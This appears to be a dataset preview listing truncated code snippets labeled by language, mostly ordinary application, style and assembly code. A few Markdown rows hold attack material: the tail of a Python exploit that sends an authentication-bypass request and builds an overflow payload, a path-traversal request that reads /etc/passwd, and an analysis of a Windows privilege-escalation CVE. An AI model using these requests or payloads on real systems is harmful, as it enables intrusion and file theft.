content stringlengths 2 6.21k | label stringclasses 16
values |
|---|---|
ToBytes(id);
var packetcreator = m_packets[id];
if (packetcreator != null){
var packet = packetcreator().encode(dat).finish();
var head =IntToBytes(packet.length + TCP_HEAD_SIZE);
var buff = new Uint8Array(TCP_HEAD_SIZE + crc.length + packet.lengt... | Typescript |
xtension.getId());
return orderExtension;
}
/**
* 更新 PayOrderDO 支付成功
*
* @param channel 支付渠道
* @param orderExtension 支付拓展单
* @param notify 通知回调
* @return 是否之前已经成功回调
*/
private Boolean updateOrderSuccess(PayChannelDO channel, PayOrderExtensionDO orde... | Java |
+7e2b, U+7e2e-7e2f, U+7e31, U+7e37, U+7e39-7e3e, U+7e40, U+7e43-7e44, U+7e46-7e47, U+7e4a-7e4b, U+7e4d-7e4e, U+7e51, U+7e54-7e56, U+7e58-7e5b, U+7e5d-7e5e, U+7e61, U+7e66-7e67, U+7e69-7e6b, U+7e6d, U+7e70, U+7e73, U+7e77, U+7e79, U+7e7b-7e7d, U+7e81-7e82, U+7e8c-7e8d, U+7e8f, U+7e92-7e94, U+7e96, U+7e98, U+7e9a-7e9c, U... | CSS |
board.press('Enter');
await page.type('.mynah-chat-prompt-input', 'Add debounce function in operation.js.')
await page.keyboard.press('Enter');
// First iteration
await retryIfRequired(page, async () => {
await page.waitForSelector('.mynah-chat-item-followup-question-option... | Kotlin |
"瘟疫使者诺斯",
["Heigan the Unclean"] = "肮脏的希尔盖",
["Loatheb"] = "洛欧塞布",
["Sapphiron"] = "萨菲隆",
["Kel'Thuzad"] = "克尔苏加德",
["Lord Victor Nefarius"] = "维克多·奈法里奥斯",
["Nefarian"] = "奈法利安",
["Vaelastrasz the Corrupt"] = "堕落的瓦拉斯塔兹",
["Razorgore the Untamed"] = "狂野的拉佐格尔",
["Broodlord Lashlayer"] = "勒什雷尔",
["Chro... | Lua |
: KProperty<Property>):
KMockContract.PropertyProxy<Property> = (referenceStore["""${reference.name}|property"""] ?:
throw IllegalStateException("""Unknown property ${reference.name}!""")) as
tech.antibytes.kmock.KMockContract.PropertyProxy<Property>
@Suppress("UNUSED_PARAMETER", "UNUSED_EXPRES... | Kotlin |
ct-slice-donut {
stroke: #9368E9;
}
.ct-slice-pie, .ct-slice-donut-solid, .ct-area {
fill: #9368E9;
}
}
.ct-series-e {
.ct-point, .ct-line, .ct-bar, .ct-slice-donut {
stroke: #87CB16;
}
.ct-slice-pie, .ct-slice-donut-solid, .ct-area {
fill: #87CB16;
}
}
.ct-series-f {
.ct-point, .ct-li... | CSS |
draw_hline<T: ToPrimitive>(&mut self, value: char, from: Vec2, size: T) -> &mut Pencil<'a> {
let elem_pos = self.origin + from;
for i in 0..size.to_usize().unwrap() {
self.draw_element(elem_pos + Vec2::x(i), value);
}
self
}
pub fn draw_rect(&mut self, charset: &Rec... | Rust |
FOUR = 4,
/// N-NE-E-SE-S-SW-W-NW connectivity from given pixel/point
EIGHT = 8,
}
/// Helps determine the size of output of convolution
#[repr(u32)]
#[derive(Clone, Copy, Debug, PartialEq)]
#[cfg_attr(feature = "afserde", derive(Serialize, Deserialize))]
pub enum ConvMode {
/// Default convolution mode wh... | Rust |
MMWORD PTR [esp+0xb0]
0x01ea3f04: movdqu xmm1,XMMWORD PTR [esp+0xc0]
0x01ea3f0d: movdqu xmm2,XMMWORD PTR [esp+0xd0]
0x01ea3f16: movdqu xmm3,XMMWORD PTR [esp+0xe0]
0x01ea3f1f: movdqu xmm4,XMMWORD PTR [esp+0xf0]
0x01ea3f28: movdqu xmm5,XMMWORD PTR [esp+0x100]
0x01ea3f31: movdqu xmm6,XMMWORD PTR [esp+0x110]
... | Java |
xf0,0x1c]
rsqrtps 485498096(%edx), %xmm1
// CHECK: rsqrtps 485498096, %xmm1
// CHECK: encoding: [0x0f,0x52,0x0d,0xf0,0x1c,0xf0,0x1c]
rsqrtps 485498096, %xmm1
// CHECK: rsqrtps 64(%edx,%eax), %xmm1
// CHECK: encoding: [0x0f,0x52,0x4c,0x02,0x40]
rsqrtps 64(%edx,%eax), %xmm1
// CHECK: rsqrtps (%edx), %xmm1
// CHECK: en... | Assembly |
}
}
OnPoseListChanged.Broadcast();
return ItemsDeleted;
}
void UPoseAsset::ConvertToFullPose()
{
PoseContainer.ConvertToFullPose(GetSkeleton(), RetargetSource);
bAdditivePose = false;
}
void UPoseAsset::ConvertToAdditivePose(int32 NewBasePoseIndex)
{
// make sure it's valid
check(NewBasePoseIndex == -1 || P... | C++ |
// CHECK-ENCODING: [0x55,0x55,0x82,0xc0]
// CHECK-ERROR: instruction requires: sme
// CHECK-UNKNOWN: c0825555 <unknown>
mova z23.s, p3/m, za3h.s[w15, 1]
// CHECK-INST: mov z23.s, p3/m, za3h.s[w15, 1]
// CHECK-ENCODING: [0xb7,0x6d,0x82,0xc0]
// CHECK-ERROR: instruction requires: sme
// CHECK-UNKNOWN: c0826db7 <u... | Assembly |
.generate(), ...body.value }
products.push(newProduct)
response.status = 201
response.body = {
"success": true,
"data": newProduct
}
}
// @desc Update a product
// @route PUT /api/v1/products/:id
const updateProduct = async ({ params, request, response }: { params: { id: string }, request: any, respo... | Typescript |
3
/* 80481524 0047E324 7C 99 23 78 */ mr r25, r4
/* 80481528 0047E328 83 A3 00 58 */ lwz r29, 0x58(r3)
/* 8048152C 0047E32C 4B F5 5B 7D */ bl OSDisableInterrupts
/* 80481530 0047E330 3B C3 00 00 */ addi r30, r3, 0
/* 80481534 0047E334 38 7D 00 1C */ addi r3, r29, 0x1c
/* 80481538 0047E338 4B F3 6B C9 */ bl func_8... | Assembly |
require(inMonths.isNotEmpty()) { "Months cannot be empty!" }
// Don't check if onDaysOfWeek is empty because an empty set is equivalent to the wildcard `*` value in cron
// expressions.
}
override fun toString(): String = buildString {
append("PulseSchedule{atSeconds=[")
appendR... | Kotlin |
: "Wiki",
"wizard_closing_announcements": "Obserwuj stronę Ogłoszenia, aby otrzymywać ważne wiadomości dotyczące aplikacji.",
"wizard_closing_notifications": "Pamiętaj, aby skonfigurować Tautulli Remote jako agenta powiadomień w Tautulli w obszarze Ustawienia > Agenci powiadomień.",
"wizard_closing_support": "Aby... | Dart |
jin.cn/post/7137261512296497182)
24. [5年前端 - 历时1个月收获7个offer](https://juejin.cn/post/7142690757722243102)
25. [2022年我的面试万字总结(浏览器原理篇)](https://juejin.cn/post/7149438206419664927)
26. [2022前端面试经历(郑州)](https://juejin.cn/post/7137261512296497182)
27. [六年前端面试报告](https://juejin.cn/post/7158019029163048974)
28. [12 道腾讯前端面试真题及答... | Markdown |
er>
<SafeAreaView style={styles.container} edges={['top']}>
<ScrollView style={styles.scrollView}>
<View>
<Image style={[styles.image, {resizeMode: 'cover'}]} source={asset} />
<Text style={styles.text}>resizeMode : cover</Text>
</View>
<View>
<Image
... | Markdown |
_OFFSET_DATA * compiler_common::SIZE_FIELD) as u64,
),
AddressSpace::Parent,
"parent_error_code_pointer",
);
self.build_store(parent_error_code_pointer, error_code_shifted);
}
///
/// Returns a field type constant.
///
pub fn field_const(&self, va... | Rust |
yopi12', 'fw=13', 'pksh0923', 'fw=-1', 'ksdd3268', 'fw=-1', 'bestweekend', 'fw=-1', 'ansungwoo', 'fw=-1', 'my0525', 'fw=-1', 'yoon7437', 'fw=-1', 'kgj8763', 'fw=-1', 'f213ruary', 'fw=-1', 'nshoting111', 'fw=-1', 'vmflstpdk(3)', 'fw=-1', 'gnsruf4', 'fw=-1', 'lemuzikian', 'fw=-1', 'leio0425', 'fw=-1', '']
# ['\x1b\t00040... | Python |
// SPDX-License-Identifier: LGPL-2.1-or-later
//
// SPDX-FileCopyrightText: 2009 Bastian Holst <bastianholst@gmx.de>
//
#ifndef WIKIPEDIAITEM_H
#define WIKIPEDIAITEM_H
#include "AbstractDataPluginItem.h"
#include <QHash>
#include <QIcon>
#include <QPixmap>
#include <QUrl>
class QAction;
namespace Marble
{
class M... | C |
ze;
self.palette_ram[colour]
}
fn write_halfword(&mut self, addr: u32, data: u16) {
let colour = (addr >> 1) as usize;
self.palette_ram[colour] = data;
if colour < PALETTE_SIZE {
self.bg_palette_dirty = true;
} else {
self.obj_palette_dirty = true... | Rust |
page-main li:hover .tag-edit-link {
visibility: visible;
}
.ecjia-attachment-photo {
border: 1px solid #E6E6E3;
max-width: 100%;
}
#upload-panel {
border: 1px dashed #D9D9D6;
background-color: #FFF;
color: #999;
font-size: .92857em;
}
#upload-panel.drag {
background-color: #FFFBCC;
}
.upload-area {
padding... | CSS |
} else if (type === "store") {
disableInventory(500);
// this action is different than all the others
if (itemData.type != "item_weapon") {
if (itemData.count === 1 || isShiftActive === true) {
let qty = (isShiftActive) ? itemData.count : 1;
... | JavaScript |
symbol(1_usize), Some(100_usize));
assert_eq!(env.get_slot(0), VCell::undefined());
env.put_slot(0, VCell::ptr(42));
assert_eq!(env.get_slot(0), VCell::ptr(42));
env.put_slot(0, VCell::undefined());
}
#[test]
#[should_panic]
fn put_slot_panics_if_non_ptr() {
let ... | Rust |
Events-20030331/ecma-script-binding.html
jQuery.Event.prototype = {
isDefaultPrevented: returnFalse,
isPropagationStopped: returnFalse,
isImmediatePropagationStopped: returnFalse,
preventDefault: function() {
var e = this.originalEvent;
this.isDefaultPrevented = returnTrue;
if ( e && e.preventDefault ) {
... | JavaScript |
r</w>\ndar lene</w>\nmal don\nfam icom</w>\nmi er\ndi su\nbreakfa sts</w>\nاÙĦ ع\nver gne</w>\nsunshine coast</w>\nh ed</w>\ndi vest</w>\ncri mean</w>\nv fc</w>\nsu le\nsam ay</w>\nsloven ian</w>\nis bn</w>\nborac ay</w>\ntu bby</w>\nsp are\nreas suring</w>\nmu tt\nintram ural</w>\nat b</w>\naaa and</w>\nâĻ Ľ</w>\no... | JavaScript |
node-mongodb-native/3.1/api/Collection.html#countDocuments
* @returns integer
*/
count(): Promise<number>;
/**
* Paginate the results
*
* @param {number} limit
* @returns {Paginator<{}>}
*/
paginate(limit?: number): Promise<Paginator<T>>;
/**
* When a filter has b... | Typescript |
</defs>%0A <g fill="none" fill-rule="evenodd" transform="translate(-3 -3)">%0A <mask id="polygon-b" fill="%23fff">%0A <use xlink:href="%23polygon-a"/>%0A </mask>%0A <use fill="%235B5B5B" fill-rule="nonzero" xlink:href="%23polygon-a"/>%0A <g fill="%235B5B5B" mask="url(%23polygon-b)">%0A <rect wi... | CSS |
' </li>' +
' <li>'+
' <button id="'+allPage+'" onclick="getFenye(this);" title="最后一页">'+
' <img src="../../static/img/lastPage.png" />'+
' </button>'+
' </li>' +
'</ul>'
);
$("#right .data-card .fenye").css("display"... | JavaScript |
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <spawn.h>
#include "stdio_impl.h"
#include "syscall.h"
extern char **__environ;
FILE *popen(const char *cmd, const char *mode)
{
int p[2], op, e;
pid_t pid;
FILE *f;
posix_spawn_file_actions_t fa;
if (*mode == 'r') {
op = 0... | C |
是
**投毒风险:** 30%
## 详情
CVE-2023-21768 是 Windows AFD 驱动中的一个本地提权漏洞。攻击者可以利用此漏洞执行任意代码并获得 SYSTEM 权限。
**有效性:**
根据搜索结果和提供的漏洞利用代码,该漏洞存在可利用的POC。`https://github.com/Malwareman007/CVE-2023-21768` 这个链接表明存在完整的漏洞利用代码,并且 `https://www.youtube.com/watch?v=qdAZ8mTsTrc` 提供了一个视频演示,佐证了POC的有效性。提供的代码片段展示了使用IoRing进行内存读写的操作, 以及通过修改CR4寄存器来绕... | Markdown |
desc.pins = pins;
rza1_pctl->desc.npins = RZA1_NPINS;
rza1_pctl->ports = ports;
for (i = 0; i < RZA1_NPINS; ++i) {
unsigned int pin = RZA1_PIN_ID_TO_PIN(i);
unsigned int port = RZA1_PIN_ID_TO_PORT(i);
pins[i].number = i;
pins[i].name = devm_kasprintf(rza1_pctl->dev, GFP_KERNEL,
"P%u-%u", port, p... | C |
[TPID]->son != -1 )
Aux_Error( ERROR_INFO, "TRank %d, FaLv %d, TPID %d has son (SonPID = %d) !!\n",
r, FaLv, TPID, amr->patch[0][FaLv][TPID]->son );
# endif
// record send PID
LB_SendF_IDList[r][t] = TPID;
// allocate flux array
amr->patch[0][FaL... | C++ |
e_warnings(
category=InsecureRequestWarning
)
# Auth bypass request
print("[*] Sending auth bypass request")
r = requests.get(f"{host}/favicon.ico", verify=False)
payload = b""
payload += cyclic(300) # 300 junk padding
payload += p32(0x015b8008) # PTR in EXTERNAL segment that allows being freed
payload += cyclic... | Markdown |
9m-13.03-9.536c.455-1.566.026-2.706.348-4.304.113-.56.112-1.134.2-1.698.028-.179.067-.905.159-.848a8.646 8.646 0 01.693 1.465 6.746 6.746 0 01.424 1.79 6.111 6.111 0 001.366-1.621 6.391 6.391 0 01.429-1.054 3.776 3.776 0 01.383.746c.267.904.071 2.614.205 2.606s.294-1.809.596-2.653c.178-.5.703-1.117 1.014-1.127 1.076-.0... | Dart |
using System;
using System.Collections;
using System.Collections.Generic;
using WCell.RealmServer.AI.Groups;
using WCell.RealmServer.Entities;
using AggressorPair = System.Collections.Generic.KeyValuePair<WCell.RealmServer.Entities.Unit, int>;
namespace WCell.RealmServer.AI
{
/// <summary>
/// Collection representin... | C# |
: TestTrait[]): PropertyDecorator;
(target: Object, propertyKey: string | symbol): void;
}
readonly pending: {
(name: string, ...traits: TestTrait[]): PropertyDecorator;
(...traits: TestTrait[]): PropertyDecorator;
(target: Object, propertyKey: string | symbol): void;
}
}
function makeTestUI(type?: "skip" |... | Typescript |
return {
"kyazdani42/nvim-tree.lua", -- tree view
dependencies = { "nvim-tree/nvim-web-devicons" },
config = function()
require("nvim-web-devicons").setup {
-- your personnal icons can go here (to override)
-- you can specify color or cterm_color instead of specifying both of them
-- DevIcon... | Lua |
usage in non-empty directory'
}
})
.help()
.argv;
import fs from 'fs'
import moment from 'moment'
import readline from 'readline'
import { google } from 'googleapis'
import { OAuth2Client } from 'google-auth-library';
const SCOPES = ['https://www.googleapis.com/auth/calendar'];
const TOKEN_PATH = 'token.json';
... | Typescript |
ackground
# TEMPORARILY DISABLED - Guardian Service startup commented out for hot-fix
# if GUARDIAN_SERVICE_AVAILABLE and start_guardian_service:
# try:
# guardian_thread = threading.Thread(target=start_guardian_service, daemon=True)
# guardian_thread.start()
# print(... | Python |
leIndex;
let spriteYPosition = eightBitLoadFromGBMemory(index + 0);
let spriteXPosition = eightBitLoadFromGBMemory(index + 1);
let spriteTileId = eightBitLoadFromGBMemory(index + 2);
// Pan docs of sprite attirbute table
// Bit7 OBJ-to-BG Priority (0=OBJ Above BG, 1=OBJ Behind BG color 1-3)
... | Typescript |
');', 'grind', 1);
idS[demicm.selId].addRange(idS[demicm.rangeId]);
}
} catch(e) {
logger.log('// Error: alterSelection: ' + e.message, 'grind', 1);
}
}
function constructGroup() {
constructNodeIterator();
constructTreeWalker();
constructRange();
constructSelection(... | JavaScript |
queue);
}
}
void
apcompdiy::Master::
flush(bool remote)
{
#ifdef DEBUG
time_type start = get_time();
unsigned wait = 1;
#endif
// prepare for next round
incoming_.erase(exchange_round_);
++exchange_round_;
if (remote)
rcomm_exchange();
else
{
auto gid_order = order_gids();
do
... | C++ |
20%20%20%3Csvg%20width%3D%228%22%20height%3D%2224%22%20viewBox%3D%220%200%208%2024%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%20%20%20%20%3Cpath%20d%3D%22M4%207L7%2011H1L4%207Z%22%20fill%3D%22%23ffffff%22%20%2F%3E%0A%20%20%20%20%20%20%3Cpath%20d%3D%22M4%2017L1%2013L7%2013L4%... | CSS |
Attr: true,\n\t\t\t\ttype: \"Boolean\"\n\t\t\t},\n\t\t\t{\n\t\t\t\tname: \"inputSetRef\",\n\t\t\t\ttype: \"InputSet\",\n\t\t\t\tisMany: true,\n\t\t\t\tisVirtual: true,\n\t\t\t\tisReference: true\n\t\t\t},\n\t\t\t{\n\t\t\t\tname: \"inputSetWithOptional\",\n\t\t\t\ttype: \"InputSet\",\n\t\t\t\tisMany: true,\n\t\t\t\tisVi... | JavaScript |
String toString() => '$runtimeType: $id $json';
}
/// EJDB2 query builder/executor.
///
class JQL {
JQL._(this._jb, this.collection, this.qtext);
static int _qhandle = 0;
final EJDB2 _jb;
final _qspec = <String, dynamic>{};
final _params = <dynamic>[];
final String collection;
final String qtext;
... | Dart |
The Certora Prover
* Copyright (C) 2025 Certora Ltd.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, version 3 of the License.
*
* This program is distributed in t... | Kotlin |
medical {
--fa: "\f0f9"; }
.fa-ambulance {
--fa: "\f0f9"; }
.fa-wheat-awn-circle-exclamation {
--fa: "\e598"; }
.fa-snowman {
--fa: "\f7d0"; }
.fa-mortar-pestle {
--fa: "\f5a7"; }
.fa-road-barrier {
--fa: "\e562"; }
.fa-school {
--fa: "\f549"; }
.fa-igloo {
--fa: "\f7ae"; }
.fa-joint {
--fa: "... | CSS |
tXZ;
} else if(dir==rai::_yAxis) {
xLine = arr{{1, 3}, {0, 1, 0}};
yzPlane = arr{{2, 3}, {1, 0, 0, 0, 0, 1}};
xyScalarProduct = FS_scalarProductXX;
xzScalarProduct = FS_scalarProductXZ;
} else if(dir==rai::_zAxis) {
xLine = arr{{1, 3}, {0, 0, 1}};
yzPlane = arr{{2, 3}, {1, 0, 0, 0, 1, 0}};
... | C++ |
is a gross hack that barely works...
// but at least it doesn't overestimate too much...
floatangle = 2.0f + (45.0f + (tilt / 1.9f)) * (float)render_fov * ratio_scale / render_multiplier / 90.0f;
a1 = ANG1 * (int)floatangle;
if (a1 >= ANG180)
return 0xffffffff;
return a1;
}
//
// gld_FrustrumSetup
//
#d... | C |
num getPhaseType(PxU32 phaseIndex) const;
virtual void scaleRestlengths(PxReal scale);
virtual PxU32 getReferenceCount() const;
virtual void acquireReference();
//~PxClothFabric
PX_FORCE_INLINE Sc::ClothFabricCore& getScClothFabric() { return mFabric; }
PX_FORCE_INLINE const Sc::ClothFabric... | C |
IfBB4EZ/1716105114884-70a33e88-bcbd-4a6e-875c-dbbbf08ca27f-151998.png)
# 四、漏洞复现
```plain
GET /download.php?&class=vpn&toolname=../../../../../../../../etc/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html... | Markdown |
//===- ToolOutputFile.h - Output files for compiler-like tools -----------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------... | C |
g. `c : int = 3` or `b : int | bool : false`.
[T::Identifier(name), T::Colon, ..] => {
if is_capitalized(name) {
// raise_syntax_error!(ctx, "Variables have to start with a lowercase letter");
}
if name == "self" {
raise_syntax_error!(ctx, "\"s... | Rust |
9 (3 more) | e7738a0e2923 | yes | Rockylinux 9 amd64 (20220805_02:07) | x86_64 | CONTAINER | 107.80MB | Aug 5, 2022 at 12:00am (UTC) |
| rockylinux/9/arm64 (1 more) | 917b92a54032 | yes | Rockylinux 9 arm64 (20220805_02:06) | aarch64 | CONTAINER... | Markdown |
/* SPDX-License-Identifier: BSD-3-Clause
* Copyright 2017 6WIND S.A.
* Copyright 2017 Mellanox Technologies, Ltd
*/
#ifndef RTE_PMD_MLX5_RXTX_VEC_H_
#define RTE_PMD_MLX5_RXTX_VEC_H_
#include <rte_common.h>
#include <rte_mbuf.h>
#include <mlx5_prm.h>
#include "mlx5_autoconf.h"
/* HW checksum offload capabilities... | C |
训新加入的iD用户,将回归的绘图者迁移到JOSM上,同时还引入了审核者培训。这种形式被证明是非常成功的,但结果是不得不拒绝绘图者,因为名额已满。第二场地图马拉松活动已经开始,即月中地图马拉松,是为更有经验的JOSM用户举办的,它将集中于更高级的地图绘制,并研究和测试新的想法。
伦敦活动的成功基于多种因素,但主要是以下策略...
- 经验告诉我们,对于没有任何绘图经验的人来说,学习曲线是非常陡峭的,如果他们不能在第一次活动中完成一些绘图工作,那么对于这些新人来说,可能会让他们感到不快和沮丧。尽快地让他们完成绘图是很重要的,所以我们只向他们展示了最基本的iD编辑器,让他们在晚上的过程中遇到自己的特殊问题时能够寻求帮助。
- 如... | Markdown |
.getstream.chat.android.client.events.PollUpdatedEvent
import io.getstream.chat.android.client.events.ReactionDeletedEvent
import io.getstream.chat.android.client.events.ReactionNewEvent
import io.getstream.chat.android.client.events.ReactionUpdateEvent
import io.getstream.chat.android.client.events.ReminderCreatedEven... | Kotlin |
});
test('handles custom payload decoder', () {
Map<String, dynamic> customDecoder(Uint8List payload) => {
'nested': {'data': 42},
'list': [
{'item': 1},
{'item': 2}
],
};
final serializer = MessageSerializ... | Dart |
angeAdaptor._end accessor
private static PropertyInfo s_piTPOffset; // TextPointer.Offset accessor
private static PropertyInfo s_piTPTextContainer; // TextPointer.TextContainer accessor
private static PropertyInfo s_piTCTextSelection; // TextContainer.TextSelection accessor
... | C# |
MEDIA_TYPE_VIDEO -> {
parentFragmentManager
.beginTransaction()
.addToBackStack(null)
.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_OPEN)
.replace(R.id.container, VideoPlaybackFragment.newInstance(info))
.commit()
}
else -> {
}
}
}
companion object {
private const val ... | Kotlin |
ops to zero, destroy
* it, freeing its memory.
*
* Requires:
*\li '*sctxp' is valid.
* Ensures:
*\li '*sctxp' is NULL on return.
*/
isc_result_t
ns_server_setserverid(ns_server_t *sctx, const char *serverid);
/*%<
* Set sctx->server_id to 'serverid'. If it was set previously, free the memory.
*
* Requires:
... | C |
= t.H8;
System.arraycopy(t.X, 0, X, 0, t.X.length);
xOff = t.xOff;
}
/**
* State constructor - create a digest initialised with the state of a previous one.
*
* @param encodedState the encoded state from the originating digest.
*/
public SHA224Digest(byte[] encodedStat... | Java |
3, spd_mt1.E4)
local n = {E1 = l.S, E2 = k.S}
n.S = bAND(n.E1, n.E2)
local spd_mt2 = {E1 = n.S, E2 = g.S, E3 = e.S, E4 = i.S}
spd_mt2.S = bMT(1, spd_mt2.E1, spd_mt2.E2, spd_mt2.E3, spd_mt2.E4)
local o = {E1 = NCAS_1_FT, E2 = NCAS_2_FT, E3 = NCAS_3_FT}
o.S = bOR3(o.E1, o.E2, o.E3)
logic.spd_mtrigF_01:updat... | Lua |
/*
* MIT License
*
* Copyright (c) 2023 Edward Shin
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modi... | C |
end
end
end)
healing = math.floor(healing * healingMultiplier / 100)
dicenumber = math.floor(dicenumber * healingMultiplier / 100)
-- end
end
if bit.band(internalFlags, 0x100000) > 0 then
healing = math.floor(healing * 1.5)
dicenumber = math.floor(dicenumber * 1.5)
end
if IEex_ReadByte(creature... | Lua |
251,226,.5),0 0 .5rem rgba(50,251,226,.3),0 0 2rem rgba(50,251,226,.2)}.btn-outline-dark{color:#fff}.navbar.bg-primary{box-shadow:0 0 2px rgba(111,66,193,.9),0 0 4px rgba(111,66,193,.4),0 0 1rem rgba(111,66,193,.3),0 0 4rem rgba(111,66,193,.1)}.navbar.bg-secondary{box-shadow:0 0 2px rgba(234,57,184,.9),0 0 4px rgba(234... | CSS |
vsha2cl.vv v17, v16, v14
vsha2ch.vv v16, v17, v14
vmerge.vvm v14, v13, v12, v0
#--------------------------------------------------------------------------------
# Quad-round 18 (+2, v12->v13->v10->v11)
vle64.v v15, (a2)
addi a2, a2, 32
vadd.vv v14, v15, v12
vsha2cl.vv v17, v16, v14
v... | Assembly |
/3d/shader":38,"./color/creating_reading":41,"./color/p5.Color":42,"./color/setting":43,"./core/2d_primitives":44,"./core/attributes":45,"./core/constants":47,"./core/core":48,"./core/curves":49,"./core/environment":50,"./core/p5.Element":52,"./core/p5.Graphics":53,"./core/p5.Renderer2D":55,"./core/rendering":56,"./cor... | JavaScript |
perties\n");
objList[objIndex].shockProperties[CONTAINER_CONTENTS_1] = (int)getValAtAddress(sub_ark.data, add_ptr + 0x6, 16);
objList[objIndex].shockProperties[CONTAINER_CONTENTS_2] = (int)getValAtAddress(sub_ark.data, add_ptr + 0x8, 16);
objList[o... | C# |
8B56C
add r0, r5, #0
bl sub_0208BE70
pop {r3, r4, r5, r6, r7, pc}
thumb_func_end sub_0208B55C
thumb_func_start sub_0208B5A8
sub_0208B5A8: ; 0x0208B5A8
push {r3, r4, r5, r6, r7, lr}
ldr r6, _0208B6FC ; =0x00000404
add r5, r0, #0
mov r4, #0xb
mov r7, #0
_0208B5B2:
lsl r0, r4, #2
add r0, r5, r0
ldr r0, [r0, ... | Assembly |
}
fun.apply(objtarget);
}, objtarget, delay);
}
}import {
describe,
ddescribe,
it,
iit,
xit,
xdescribe,
expect,
beforeEach,
el
} from 'angular2/test_lib';
import {setterFactory} from 'angular2/src/render/dom/view/property_setter_factory';
import {DOM} from 'angular2/src/do... | Typescript |
fail("xarea != NULL", "src/heap.c", 402,
"mi_heap_area_visit_blocks")
} // skip a run of free blocks
if xarea.is_null() {
return true; // race is ok
}
let mut area = &xarea.area;
let mut page = xarea.page;
if !page.is_null() {
0
} else {
_mi_as... | Rust |
import logging
import time
from multiprocessing.managers import BaseManager
logger = logging.getLogger(__name__)
class QueueManager:
instance = None
class __QueueManager(BaseManager):
@property
def cmd_queue(self):
return self.get_cmd_queue()
@property
def resu... | Python |
TIMEZONE_URI", resourceTimeZone.toURI().toString())
}
}
var workingDirectory = File("")
@Test
fun testNcUpload(vertx: Vertx, testContext: VertxTestContext) {
val webClient: WebClient = WebClient.create(vertx)
val deploymentCheckpoint = testContext.checkpoint()
val requestCheckpoint = testConte... | Kotlin |
75 7.07107 21.0711 8.75 19 8.75C16.9289 8.75 15.25 7.07107 15.25 5Z" fill="currentColor"/><path fill-rule="evenodd" clip-rule="evenodd" d="M9.89369 20.3514C10.252 20.1435 10.7109 20.2655 10.9188 20.6238C11.0287 20.8132 11.1864 20.9705 11.3761 21.0798C11.5659 21.1891 11.781 21.2466 12 21.2466C12.219 21.2466 12.4342 21.1... | CSS |
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
/* All drivers should typically include these */
#include "xf86.h"
#include "xf86_OSproc.h"
#include "xf86Cursor.h"
#include "cursorstr.h"
/* Driver specific headers */
#include "dummy.h"
static void
dummyShowCursor(ScrnInfoPtr pScrn)
{
DUMMYPtr dPtr = DUMMYPTR(pSc... | C |
@include spaces(tb, 90px); }
.tb_100{ @include spaces(tb, 100px); }
.l_10{ @include spaces(l, 10px); }
.l_20{ @include spaces(l, 20px); }
.l_30{ @include spaces(l, 30px); }
.l_40{ @include spaces(l, 40px); }
.l_50{ @include spaces(l, 50px); }
.l_60{ @include spaces(l, 60px); }
.l_70{ @include spaces(l, 70px); }
.l_80... | CSS |
*) wl);
} /* end of function wl_find */
/*
* delete elements from a wordlist
* starting at `from'
* up to but exclusive of `to'.
* `to' may be NULL to delete from `from' to the end of the list
*
* Allocations for the deleted slice are freed.
*
* Note that the function does not check if `from' and `to' ... | C |
async {
final path = await _localFolder;
String suffix = user.id.toString();
return new File('$path/' + suffix + '_homework.json');
}
Future<File> saveHomework(String homeworkString, User user) async {
final file = await _localHomework(user);
return file.writeAsString(await doEncrypt(homeworkString));
}
Fu... | Dart |
art.dart';
import 'package:riverpod_annotation/riverpod_annotation.dart';
import '../../model/account.dart';
import 'list_provider.dart';
import 'misskey_provider.dart';
part 'list_users_notifier_provider.g.dart';
@riverpod
class ListUsersNotifier extends _$ListUsersNotifier {
@override
FutureOr<List<UserDetaile... | Dart |
} else {
actionStr =
"Created ${event.payload!.refType!} ${event.payload!.ref!} at ${event.repo!.name!}";
}
break;
case "DeleteEvent":
actionStr =
"Delete ${event.payload!.refType!} ${event.payload!.ref!} at ${event.repo!.name!}";
break;... | Dart |
value9 == other.value9 &&
value10 == other.value10 &&
value11 == other.value11 &&
value12 == other.value12 &&
value13 == other.value13 &&
value14 == other.value14 &&
value15 == other.value15 &&
value16 == oth... | Dart |
&rcar_csi2_info_r8a77961,
},
{
.compatible = "renesas,r8a77965-csi2",
.data = &rcar_csi2_info_r8a77965,
},
{
.compatible = "renesas,r8a77970-csi2",
.data = &rcar_csi2_info_r8a77970,
},
{
.compatible = "renesas,r8a77980-csi2",
.data = &rcar_csi2_info_r8a77980,
},
{
.compatible = "renesas,r8a77990-... | C |
Path]).toBeUndefined();
});/**
* @abstract vuex中的user模块,这里是用户信息,登录信息,路由信息处理模块
* @author taoyawei
*/
import { UState } from '../interface'
import userGetter from './userGetter'
const state:UState = {
menu: [],
userInfo: null,
bodyHeight: 0
}
const user = {
state,
mutations: {
SET_MENU (state: UState, v... | Typescript |
visibility .getLiquidColor()), 1, 1000, 300, ST.make(Items.potionitem, 1, 8206), IL.Bottle_Empty.get(1), 250) , LH.Chat.CYAN + "Invisibility (3:00)" , 0, 0.0F , 0, C+37, 0.00F, EnumAction.drink, T, F, F, Potion.invisibility .id,3600, 0, 100);
new FoodStatDrink(FL.create("potion.... | Java |
.get( cls ) );
bundle.put( itemName + PFX_KNOWN, known.contains( cls ) );
}
}
}
public void saveClassesSelectively( Bundle bundle, ArrayList<Class<?extends Item>> clsToSave ){
List<Class<? extends T>> items = Arrays.asList(this.items);
for (Class<?extends Item> cls : clsToSave){
if (items.contains(c... | Java |
// Copyright 1998-2019 Epic Games, Inc. All Rights Reserved.
#pragma once
#include "CoreMinimal.h"
/**
* Delineates a transactable block; Begin()s a transaction when entering scope,
* and End()s a transaction when leaving scope.
*/
class FScopedTransaction
{
public:
/**
* Construct an FScopedTransaction with f... | C |
P,
},
